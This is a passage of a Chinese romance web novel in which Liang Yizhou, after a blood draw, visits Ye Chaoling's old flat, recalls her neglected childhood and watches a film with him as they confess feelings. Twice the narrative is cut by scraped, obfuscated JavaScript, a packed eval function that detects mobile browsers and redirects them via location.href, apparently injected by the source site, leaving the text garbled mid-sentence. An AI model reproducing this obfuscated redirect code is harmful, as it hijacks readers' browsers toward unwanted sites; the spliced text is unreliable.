梁宜舟右手按着棉签,用抽了血的左手摆了摆,安慰说:“哎呀,不用太在意,不是你技术的问题,我从小抽血就这样,过两天就好了,没事的。” “过两天可能还得更严重点,淤青了可以热敷一下。” 梁宜舟真不放心上,“嗯,好,我今晚就开始热敷,不疼的,只是看着严重,我先走啦,车里空气太闷了,我就不坐下休息了。” 叶朝陵很理解这种肤质和静脉情况,只是替梁宜舟接过护士递过来的一袋新疆红枣,轻声对梁宜舟说:“你把棉签按好,至少按个三分钟。” “没渗血了,东西给我吧。” 叶朝陵领着她下车,伸手替她挡着门,“好好按着。” “那先麻烦你帮我拿着了。” 梁宜舟胳膊只是有点酸胀,谈不上疼痛,她走在前面,胳膊肘那侧突然伸过来一只握拳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093630|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂,没有实际触碰,却从身后圈住了她。 梁宜舟不解地看了眼叶朝陵:“怎么了?” “刚抽完血,也没坐下休息,我怕你晕倒。” “不会啦,哪有那么夸张。” “你现在嘴唇、面色都泛白。” “真的吗?”梁宜舟没觉得头昏,只觉得有点口渴,还有呼吸上确实一下子有点心慌,她掏出牛仔裤里的手机,没按亮,直接就着屏幕看了眼。 “还好。” “……黑屏你也能看见气色?” “好吧。”梁宜舟没有在这方面较劲,叶朝陵也是出于善意,而且他礼貌的动作并不会让梁宜舟走起路来真的有什么不方便。 在经过的路人看来,好似登对的年轻情侣,再自然不过。 “还好不远,去车站坐会儿再走。 “好,这个听你的吧,不然我晕倒了也是给你添麻烦。” 叶朝陵无奈的笑了一下,“我不怕你添麻烦,但是我不要你晕倒,可以吗?” “行,你还别说,我是有一点头昏的感觉了。” 在车站休息了10分钟,过去了2班他们要坐的公交车。 梁宜舟总是从公交车驶来的方向开始眼神等待,以至于叶朝陵很好笑的看她一眼,“有这么着急吗?” “有点,我特别怕等人、等车这种。”梁宜舟认真剖析自己,“我看起来可能是个慢性子,但是其实不是的,我连在食堂排队买饭都恨不得看个视频、打个电话,不然总觉得一分一秒超级难熬。” 梁宜舟又说:“哦对,不止如此,本来我排队打电话、看视频可能没有那么着急,但是只要前后的同学开始反复看时间、抱怨人多,我就也会跟着焦虑。” “那吃饭时间,你一般给谁打电话?” “只是举例……”梁宜舟不理解地看他一眼,“你怎么这么认真?” “随便问问。” “哦,但是你说这是个什么毛病吗?类似轻度焦躁症?” 叶朝陵轻笑,“你不是学心理学的吗?你让学外科的人判断,不是什么毛病。” “是哦,我学艺不精。” “你只是才开始学。”叶朝陵时时刻刻保持着平和和鼓励,梁宜舟发现,他比自己看起来更加冷淡和疏离,实际上温暖和温柔都比她多许多。 她没有说出这些,不然叶朝陵可能又要郑重其事的告诉她—— 哪有,只是人和人的性格和表述不同。 梁宜舟想象着叶朝陵的面目轮廓和说出这些话的神情,忍不住弯了弯嘴角,想快速地挪开眼,却发现叶朝陵正看向公交车驶离的方向。 明亮的路灯下,有人的脸庞像是精致修过图。 耳朵和双眸都会偏心,让梁宜舟好似在这一秒五感相通,他的下颌线光洁又利落,发丝干净,他身上明明没有明显的香水气味,却给人舒服的气息。 梁宜舟慢慢凑了上去,鬼使神差地亲了一下他的耳畔。 叶朝陵静默着,等回头望向她时,没有惊诧,也没有疑惑,只是耳朵相比之前红了许多许多,反而是梁宜舟整张脸都很茫茫然。 “那个……” “嗯。” “那个,煎饼,山东杂粮煎饼,好香啊。” 梁宜舟咽了下口水,蚊子声音:“……我在说什么东西。” 明明已经窘迫至极,眼神却好死不死地又挪到了叶朝陵的嘴唇上。 17. 电影 17、电影 “这是?”梁宜舟尽可能保持礼貌地眼神去打量眼前的建筑构造,一层是一个商超,二层“借用”了商超楼上的空地,违规建造了一个完整的玻璃阳光书房,盆栽都是绿植,非常洁净,像是经常打扫。 往里走才是防盗门,“这是你家?” 眼见叶朝陵要去掏钥匙开门,梁宜舟伸手拦住,“是你家吗?” “嗯。” “你家在这里?” 叶朝陵只是淡淡的又“嗯”了一声。 “哦,也是。”他现在住在别墅区,也不代表家里没有老房子。 梁宜舟默默跟上,内里只有两室一厅,饭厅和客厅相连,只有沙发、茶几做区隔,是典型的老式装修,但是却很明亮,灯光打在客厅正中间。 叶朝陵将干净的拖鞋在她脚边摆好,解释说:“是拆封后没有用过的拖鞋。” “哦,谢谢。” “这边靠近马路和商超,会有点吵,所以窗户都关得比较多,有点不通风。”叶朝陵找到空调遥控,“滴”一声启动,“我先开一会儿空调,凉得很快。” “没事的,也没那么热。” 说这话时,梁宜舟很小心地往前走了几步,发现餐桌上没有蔬果食物,厨房和洗手间的门都开着,构造简单,但是很素雅,墙面贴着南洋风格的方块瓷砖,瓶瓶罐罐的五谷杂粮倒是装得很满当,更像一种装饰品。 “厨房好好看。” “我妈比较喜欢下厨,花了不少时间整理厨房,其他房间都是简装。” “哦……”陈教授喜欢下厨啊? 看不太出来,梁宜舟想了想,觉得这样思考有点刻板。 “餐桌看起来也很干净,平时还有人来住吗?”梁宜舟多问一嘴,“不会太冒昧吧?不方便说,也可以不用回答,我就闲聊问问。” “平时就我会来住。” “这样啊……”梁宜舟语气光明正大的羡慕,“那也太舒服了,自己有个小空间,可以随时躺在沙发上看书、看剧,还可以种点花花草草。” “你可以经常来。”叶朝陵说话的声音从厨房出来,他那边正在烧热水,语气再自然不过,“坐公交车比坐地铁方便,地铁站就在楼下,但是需要换乘一次。” “更羡慕了,交通还很方便。”梁宜舟坐在沙发上,很乖巧地摸了摸深绿色布艺沙发的材质,这里很符合她对自己未来能够拥有的一套小公寓的全部设想,“如果你不怕我打扰,说得不是客套话,我真的会很想来你家做客的。” “当然不是客套话。” 叶朝陵那边还有水声,门被轻轻带上,声音朦朦胧胧的,“冰箱里有果汁、气泡水,你自己拿,我等下就出去。” 叶朝陵的声音很是慵懒和平和,让梁宜舟心理上很放松。 真的有种回家的感觉。 至少当年她母亲还在世时,她的家里也像这里一样干净温馨。 但是有了梁琰以后,梁宜舟真的倍感心累,客厅原本面积就不大,还到处都是他的玩具,小汽车和挖掘机经常排成弯弯曲曲的好几条长队。 有一次梁宜舟半夜回家,没有开灯,一脚踩乱了“车队”,第二天早晨不到七点,梁琰的“鬼喊鬼叫”就打破了梁宜舟的梦境,她明明正在梦中的花园里采摘郁金香,怀抱一只蝴蝶,一瞬间却感受到头皮发麻。 长发被梁琰从薄被子中抓起,梁琰哭喊着:“你赔我保时捷!” 刚上初中的梁宜舟并没有见过保时捷,只知道这是男同学口中的豪车,她一把推开梁琰,没好气地眯着眼瞪他:“想死啊!抓我头发!” 梁琰不过幼儿,被梁宜舟骂了一嘴就哇哇大哭,喊陈艳来评评理。 其实梁宜舟已经不记得陈艳拉了多少次偏架,总是劝她让让弟弟,小心你爸爸揍你之类的,但是那次好像没有。陈艳只是作势打了几下梁琰的手掌心,斥责他说:“你怎么能直接冲进姐姐的房间?!她是女孩子!” 梁宜舟补了句:“他还抓了我的头发,掉了好几根。” “他不抓你也要掉头发的!家里到处都是你的头发!” “切。” 梁宜舟从床上几乎是跳起来的,气不打一处来,推着他们出房间,不怎么用力,他们就都消停了,声音隔绝在门外。 到如今,到此刻,梁宜舟没缘由的想起这一幕。 才发觉陈艳其实也并非不明事理的女性,她好歹先批评了梁琰,还知道教育他男女有别,要尊重女性,不要随便闯入女孩子的房间。 梁宜舟鼓了下腮帮子,为自己想起这件事而觉得心酸。 因为再大一岁,她就连这个房间都失去了,后面就变成了梁琰的卧室,而她则是被陈艳赶去了书房,美其名为方便做功课,反正她平时也是住校为主。 到高中,梁宜舟考上了没有住校要求的重点高中,住回家里,也没能为此就拿回属于自己的房间,依旧住在书房。 门锁坏了很久,梁琰和他父亲已经没有学会敲门的礼貌,经常吓得梁宜舟半夜惊醒,只有陈艳记得买了一把五块钱的小锁,用小铁片固定在门和墙两侧,其实稍微一脚就可以踹开门,但是好歹不至于一推就开,只是会露出一条门缝。 到半夜,看见外面一双黑眼睛,尤为渗人。 幸好梁琰声音童稚,总是就那么两句话,“姐姐,你能借我十块钱吗?” “姐姐,你的游戏机能借我玩一下不?” 哎。 梁宜舟有些酸楚的合上眼,靠在沙发上,责怪自己回忆起这些没必要的片段,除了影响心情,毫无意义。 “喝什么?热水还冰饮料?没有常温的。” 叶朝陵从厨房出来,见她有些疲倦地靠在沙发上,替她倒了一杯热水,又拿来了一条很薄很软的毯子,盖在她的腿上,“献完血喝点热水吧。” 梁宜舟很乖顺地点点头:“好。” “杯子用我的可以吗?” “你介意吗?” “不介意。” 梁宜舟突然一笑,被自己的脑回路打败,“是哦,毕竟又不是我们俩喝一个杯子,我理解错了。我这脑子……” “我喝饮料。” 梁宜舟伸了下手,“那给我也拿一瓶,果汁就行,想喝点带味道的。” “好。” 叶朝陵家里的电视已经很久没有接入电视台频道,大多数时间都是下载好资源用软件播放,又或者是干脆直接投屏官方片源。 “我投屏吧,我背包里有电脑。”梁宜舟主动说,“平台会员我也有,蹭了程如梨的,她什么平台都开通了会员。” “好。” 叶朝陵将背包递给她,等她拿完电脑再把背包放到沙发最外侧,两个人继续保持着并肩而坐,气泡水也是他在梁宜舟投屏的时间里,给打开拧好的。 梁宜舟注意到这一点,感慨说:“你以后肯定是个好男朋友。” “只是开瓶水。” “你不要觉得我标准太低了,要知道,我爸爸和我弟弟从小到大没有给我拧开过一瓶水,我也没有交过其他男朋友,标准真的就这样……”梁宜舟如实说,“所以我看言情小说的时候,因为男主角太过完美,甚至没办法代入。” 做梦我都不敢想那么多。 这句梁宜舟没说,觉得自己没必要这么卑微。 “那你可以尝试习惯一下这些。” “那我以后找不到你或者像你这样的人,我不是惨啦,都不习惯了。” 叶朝陵顿了顿,望向她说:“我们有那么容易就消失在彼此的生活里吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093631|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁宜舟想说,人生无常,不好说哦。 但是这样太悲观了,她不愿意破坏此刻舒适的氛围,指了指开场的电影,似有若无的说了一句:“不知道……” “那我就找到你。” 梁宜舟淡漠的笑了下:“那要是一直找不到呢?” “那就一直寻找。” “到什么时候会放弃?” 叶朝陵无心跟她话中话博弈,如实相告:“看你是不是希望被找到了。” 叶朝陵伸出食指,在她眉心点了点,已经没有自来水的冰凉,温温热热的,“你说过,知道你别扭,就多邀请你几次。如果你希望被我找到,那我就一直寻找,要是你是真的想要消失,我会祝福你,生活得顺利一点,健康一点。” 梁宜舟眼睛发酸,明明只是闲聊,为什么说到像是要分别。 “我真的有点想做你的女朋友了。” “那要做我女朋友吗?” 梁宜舟眨了下眼睛,嘟囔说:“可是你都没有说过喜欢我。” “你确定我说完,你不会立刻消失吗?” 梁宜舟摇摇头,很认真剖析过自己的内心,也跟程如梨夜聊过。 “我不会消失,但是我会因为你的‘懈怠’或者偶尔的‘不周到’胡思乱想,会想着是不是在一起了你就会热情减退,会想着人难道还能做得更好,喜欢得更多吗?这是不是本身就是一种苛刻和索取呢?” 叶朝陵笑说:“如果让你产生这样的想法或者不安全感,我不会觉得你是在胡思乱想,那应该确实是我做得不够好,只是……” “只是什么?” 叶朝陵很抱歉的笑了下:“只是男女思维有差异,我可能还是会有惹你生气的地方,但是我会尽力,请你不要在心里偷偷给我扣分。” 梁宜舟被他这种说法逗笑,“我又不是计分器!” 叶朝陵也笑,但是电视屏幕里的背景音乐突然变化,视线灰暗,远景镜头在拉近,两个人忽然减少交谈,转过头看了一眼。 “叮——” 清脆的电器声响。 “啊,吓我一跳!”梁宜舟看得太过注意力集中,吓得挽住了叶朝陵的胳膊。 他安抚似的拍了梁宜舟的手背一下,笑说:“不是不害怕吗?” “我只是不害怕看这种类型的片子,又不是生活里也不怕……” 叶朝陵又笑。 梁宜舟松开手,举拳头要揍他,在他面前虚晃一枪,“笑什么笑,生气了,给你扣分,人是能被吓死的好不好,还笑。” “那我想个办法,哄你开心。” “什么办法?” 叶朝陵起身,又被梁宜舟抓住胳膊,忙问:“做什么……” “一分钟就回来。” “好的吧。”镜头拍摄的非常温和,一下子到海天相接的画面。 梁宜舟又迅速松开手,“去吧,去吧,一点都不害怕。” 叶朝陵笑了下,转身去厨房,按照他之前检索的信息那样,非常成功的用高压锅煮出了一锅红豆沙,他直接自由发挥又放了点纯牛奶进去。 在厨房一转身,就看见梁宜舟鬼鬼祟祟躲在玻璃推门外。 她可能没想到厨房内其实是逆光的,她的身影明晰到能看见她举起拳头,最整装待发,甚至挥动拳头的时候,在光影里显得格外可爱。 叶朝陵轻轻一笑,站得很远,将门若无其事的推开。 “嘿!”梁宜舟跳出来,冲他像招财猫一样举起拳头。 叶朝陵明明没有吓到,却还是隔了三秒以后,很配合地“啊”了一声。 “嗯?” 叶朝陵更为迟疑的补了一句:“啊……” 梁宜舟面上一冷,转身就笑出来,“你好无聊哦,演技好差。”